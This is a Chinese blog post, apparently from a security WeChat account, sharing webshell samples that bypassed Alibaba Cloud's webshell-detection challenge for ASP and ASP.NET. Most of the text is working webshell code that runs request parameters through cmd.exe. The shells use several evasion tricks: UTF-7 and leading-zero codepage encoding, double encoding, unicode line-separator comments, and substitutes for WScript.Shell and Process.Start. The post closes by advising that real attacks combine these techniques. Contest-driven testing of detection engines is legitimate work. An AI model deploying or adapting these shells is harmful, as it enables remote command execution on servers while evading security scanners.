前言
24年年底的时候参加了一下阿里云的第四届伏魔挑战赛,本着学习一下.NET的想法玩的ASP/ASP.NET赛道。但是当时一直没空,等到活动最后一天才抽出时间测试。一个晚上提交了15个绕过样本,重复了12个太惨了这就是最后一天提交的结果,后来看榜单应该都是重复的Ivan1ee师傅的,专门研究.NET的还是强。第三届我也玩了提交17个样本重复5个通过12个,这篇文章挑部分绕过样本进行思路分析。
ASP
asp样本分享下面两个,绕过思路为前导零、双重编码。
前导零
asp支持将代码utf-7编码,于是构造出下面shell样本进行测试。
<%@codepage=65000%> <% +AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ- %>
可能因为是很久以前的公开手法直接被杀,注意到codepage=65000推测这里65000可能采用数字类型进行解析,在某些语言里有一种技巧在解析数字时会丢弃前导零。比如065000会被解析为65000。于是将codepage写为065000发现也可以成功解析,多次尝试以后发现最多写成0000065000可以识别成功。猜测原因是Long类型最长为十位数字,在解析之前对大于十位的数字直接报错或者不解析。于是提交如下样本成功绕过伏魔引擎。
<%@codepage=0000065000%> <% +AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBrAGkAbABsAGUAcgAiACkAKQ- %>
双重编码
asp支持将代码VBScript.Encode编码。
<%@ LANGUAGE = "VBScript.Encode"%> <% #@~^LwAAAA==]A/2KxU+R1W93wmon'+*TT8)27CVvD+$;n/D`r3rVsnMJb#wg8AAA==^#~@ %>
直接提交依然被杀。注意到VBScript.Encode和utf-7编码不是同一个配置项,于是想到能不能使用双重编码绕过,测试以后发现可以也能够被正确解析。绕过样本如下先使用VBScript.Encode编码内容再使用utf-7编码即可。
<%@ LANGUAGE = "VBScript.Encode" codepage=65000%> <% +ACM-+AEA-+AH4-+AF4-LwAAAA+AD0-+AD0-+AF0-A/2KxU+-R1W93wmon'+-+ACo-TT8)27CVvD+-+ACQ-+ADs-n/D+AGA-r3rVsnMJb+ACM-wg8AAA+AD0-+AD0-+AF4-+ACM-+AH4-+AEA- %>

ASP.NET
aspx的样本第三届的时候比较容易绕过,有很多污点源都没打标这类就不写了。主要写两类特殊语法、危险方法替换。
特殊语法
以前看别人绕jsp学到的使用注释//加u000a换行进行来绕过
<%@ Page Language="Jscript"%> <% var p = eval("//u000au0052u0065u0071u0075u0065u0073u0074u002Eu0049u0074u0065u006D["g"]") eval(p,"unsafe"); %>
测试发现可以解析但是伏魔引擎检测为webshell查阅资料发现使用u2029段落分隔符也可以起到换行的作用。测试可以解析并绕过。
<%@ Page Language="Jscript"%> <% var p = eval("//u2029u0052u0065u0071u0075u0065u0073u0074u002Eu0049u0074u0065u006D["g"]") eval(p,"unsafe"); %>
aspx支持下面这种语法,将多个<%...%>之间的代码相加。
<%@ Page Language="Jscript"%> <% var p = eval(""%><%+"u0052u0065u0071u0075u0065u0073u0074u002Eu0049u0074u0065u006D["g"]") eval(p,"unsafe"); %>
测试发现无法绕过,在%><%添加换行成功绕过。
<%@ Page Language="Jscript"%> <% var p = eval(""%> <%+"u0052u0065u0071u0075u0065u0073u0074u002Eu0049u0074u0065u006D["g"]") eval(p,"unsafe"); %>
global::是C#中的全局命名空间别名,它允许你明确地引用全局命名空间中的类型,避免命名冲突。所以可以写出下面的绕过样本。
<%@ Page Language="c#"%> <% global::System.Diagnostics.ProcessStartInfo psi = new global::System.Diagnostics.ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c " + Request.Params.Get("g"); psi.RedirectStandardOutput = true; psi.UseShellExecute = false; global::System.Diagnostics.Process p = global::System.Diagnostics.Process.Start(psi); System.IO.StreamReader stmrdr = p.StandardOutput; string s = stmrdr.ReadToEnd(); stmrdr.Close(); Response.Write(s); %>
危险方法替换
我们先写出一个经典的aspx调用WScript.Shell执行命令的webshell来进行变换。
<%@ Page Language="Jscript"%> <% var c=System.Web.HttpContext.Current; var Request=c.Request; var Response=c.Response; var command = Request.Item['g']; var r = new ActiveXObject("WScript.Shell").Exec("cmd /c "+command); var OutStream = r.StdOut; var Str = ""; while (!OutStream.atEndOfStream) { Str = Str + OutStream.readAll(); } Response.Write("<pre>"+Str+"</pre>"); %>
这个样本毫无疑问被杀,经过FUZZ发现关键点在于ActiveXObject和WScript.Shell不能同时出现。于是写出5种不同的绕过方式。
使用unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")代替WScript.Shell
<%@ Page Language="Jscript"%> <% var c=System.Web.HttpContext.Current; var Request=c.Request; var Response=c.Response; var command = Request.Item['g']; var r = new ActiveXObject(unescape("%57%53%63%72%69%70%74%2e%53%68%65%6c%6c")).Exec("cmd /c "+command); var OutStream = r.StdOut; var Str = ""; while (!OutStream.atEndOfStream) { Str = Str + OutStream.readAll(); } Response.Write("<pre>"+Str+"</pre>"); %>
在Jscript中使用GetObject创建WScript.Shell对象
<%@ Page Language="Jscript"%> <% var c=System.Web.HttpContext.Current; var Request=c.Request; var Response=c.Response; var command = Request.Item['g']; var r = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").Exec("cmd /c "+command); var OutStream = r.StdOut; var Str = ""; while (!OutStream.atEndOfStream) { Str = Str + OutStream.readAll(); } Response.Write("<pre>"+Str+"</pre>"); %>
在C#中使用GetTypeFromCLSID来创建WScript.Shell对象
<%@ Page Language="C#" %> <% string command = Request.QueryString["cmd"]; if (!string.IsNullOrEmpty(command)) { try { // 使用 System.Type.GetTypeFromCLSID 来创建 WScript.Shell 对象 Type shellType = Type.GetTypeFromCLSID(new Guid("72C24DD5-D70A-438B-8A42-98424B88AFB8")); dynamic shell = Activator.CreateInstance(shellType); dynamic exec = shell.Exec("cmd.exe /c " + command); dynamic stdout = exec.StdOut; string output = ""; while (!stdout.AtEndOfStream) { output += stdout.ReadLine() + "n"; } Response.Write(output); } catch (Exception ex) { Response.Write($"Error: {Server.HtmlEncode(ex.Message)}"); } } else { Response.Write("No command"); } %>
在C#中使用GetTypeFromProgID来创建WScript.Shell对象
<%@ Page Language="C#" %> <% string command = Request.QueryString["cmd"]; if (!string.IsNullOrEmpty(command)) { try { // 使用 GetTypeFromProgID 创建 WScript.Shell 对象 Type shellType = Type.GetTypeFromProgID("WScript.Shell"); dynamic shell = Activator.CreateInstance(shellType); dynamic exec = shell.Exec("cmd.exe /c " + command); dynamic stdout = exec.StdOut; string output = ""; while (!stdout.AtEndOfStream) { output += stdout.ReadLine() + "n"; } Response.Write(output); } catch (Exception ex) { Response.Write($"Error: {Server.HtmlEncode(ex.Message)}"); } } else { Response.Write("No command"); } %>
在VB中使用CreateObject来创建WScript.Shell对象
<%@ Page Language="VB" %> <% Dim command As String = Request.QueryString("cmd") If Not String.IsNullOrEmpty(command) Then Try ' 使用CreateObject创建 WScript.Shell 对象 Dim shell As Object = CreateObject("WScript.Shell") Dim exec As Object = shell.Exec("cmd.exe /c " & command) Dim stdout As Object = exec.StdOut Dim output As String = "" While Not stdout.AtEndOfStream output &= stdout.ReadLine() & vbCrLf End While Response.Write(output) Catch ex As Exception Response.Write("Error: " & ex.Message) End Try Else Response.Write("No command") End If %>
我们再写出一个使用System.Diagnostics.Process.Start来执行命令的经典样本。
<%@ Page Language="c#"%> <% System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c " + Request.Params.Get("g"); psi.RedirectStandardOutput = true; psi.UseShellExecute = false; System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi); System.IO.StreamReader stmrdr = p.StandardOutput; string s = stmrdr.ReadToEnd(); stmrdr.Close(); Response.Write(s); %>
进过测试发现主要就是对调用System.Diagnostics.Process.Start方法进行了检测,传统思路就是通过反射来获取Start方法然后执行。进过测试对反射检测较为严格,于是转为寻找可以实现类似反射效果的方法。找到4种类似方法可以绕过。
在JScript中使用Function.apply动态调用Start方法
<%@ Page Language="JScript" %> <% var userCommand = Request.Params["g"]; if (userCommand != null && userCommand != "") { try { var psi = new System.Diagnostics.ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c " + userCommand; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; var process = new System.Diagnostics.Process(); process.StartInfo = psi; // 使用 Function.apply 动态调用 Start 方法 process.Start.apply(process, []); var output = process.StandardOutput.ReadToEnd(); process.WaitForExit(); Response.Write(Server.HtmlEncode(output)); } catch (ex) { Response.Write("Error: " + Server.HtmlEncode(ex.Message)); } } else { Response.Write("No command"); } %>
在VB中委托绑定Start方法
<%@ Page Language="VB" %> <% Dim userCommand As String = Request.Params.Get("g") If Not String.IsNullOrEmpty(userCommand) Then Try Dim psi As New System.Diagnostics.ProcessStartInfo() psi.FileName = "cmd.exe" psi.Arguments = "/c " & userCommand psi.RedirectStandardOutput = True psi.UseShellExecute = False Dim process As New System.Diagnostics.Process() process.StartInfo = psi ' 使用委托绑定 Process.Start 方法 Dim startMethod As StartDelegate = AddressOf process.Start startMethod.Invoke() Dim output As String = process.StandardOutput.ReadToEnd() process.WaitForExit() Response.Write(Server.HtmlEncode(output)) Catch ex As Exception Response.Write("Error: " & Server.HtmlEncode(ex.Message)) End Try Else Response.Write("No command") End If %> <script runat="server"> Public Delegate Function StartDelegate() As Boolean </script>
在VB中使用DynamicObject动态调用Start方法
<%@ Page Language="VB" %> <%@ Import Namespace="System.Dynamic" %> <% Dim userCommand As String = Request.Params.Get("g") If Not String.IsNullOrEmpty(userCommand) Then Try Dim psi As New System.Diagnostics.ProcessStartInfo() psi.FileName = "cmd.exe" psi.Arguments = "/c " & userCommand psi.RedirectStandardOutput = True psi.UseShellExecute = False Dim process As New System.Diagnostics.Process() process.StartInfo = psi ' 使用 DynamicProcess 动态调用 Start 方法 Dim dynamicProcess As Object = New DynamicProcess(process) dynamicProcess.Start() Dim output As String = process.StandardOutput.ReadToEnd() process.WaitForExit() Response.Write(Server.HtmlEncode(output)) Catch ex As Exception Response.Write("Error: " & Server.HtmlEncode(ex.Message)) End Try Else Response.Write("No command") End If %> <script runat="server"> Public Class DynamicProcess Inherits DynamicObject Private ReadOnly _process As System.Diagnostics.Process Public Sub New(process As System.Diagnostics.Process) _process = process End Sub Public Overrides Function TryInvokeMember(binder As InvokeMemberBinder, args() As Object, ByRef result As Object) As Boolean If binder.Name = "Start" Then result = _process.Start() Return True End If Return MyBase.TryInvokeMember(binder, args, result) End Function End Class </script>
在VB中使用CallByName动态调用Start方法
<%@ Page Language="VB" %> <% Dim userCommand As String = Request.Params.Get("g") If Not String.IsNullOrEmpty(userCommand) Then Try Dim psi As New System.Diagnostics.ProcessStartInfo() psi.FileName = "cmd.exe" psi.Arguments = "/c " & userCommand psi.RedirectStandardOutput = True psi.UseShellExecute = False Dim process As New System.Diagnostics.Process() process.StartInfo = psi ' 使用 CallByName 动态调用 Process.Start CallByName(process, "Start", CallType.Method) Dim output As String = process.StandardOutput.ReadToEnd() process.WaitForExit() Response.Write(Server.HtmlEncode(output)) Catch ex As Exception Response.Write("Error: " & Server.HtmlEncode(ex.Message)) End Try Else Response.Write("No command") End If %>
总结
相对于jsp/php样本而言asp/asp.net样本的绕过还是相对比较简单,本文仅对提交的部分样本进行分析,主要绕过技术总结如下。
- 编码混淆:多层编码增加检测复杂度
- 语法变形:利用语言特性实现功能等价替换
- 反射替代:通过委托、动态调用等方式避开反射检测
- 跨语言技巧:在 C#、VB、JScript 间灵活运用不同特性
asp.net支持多种语言如VB/C#/JScript这也变相增加了webshell的查杀难度。因为仅仅是测试引擎的绕过,实战中还需使用上述手法结合Unicode编码、特殊Unicode字符、命名空间别名、反射、注释等手段进行webshell混淆以达到最佳效果。
如需上述样本进行测试研究可关注本公众号漫漫安全路,回复aspx得到下载地址。
本文仅供安全研究和学习使用,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。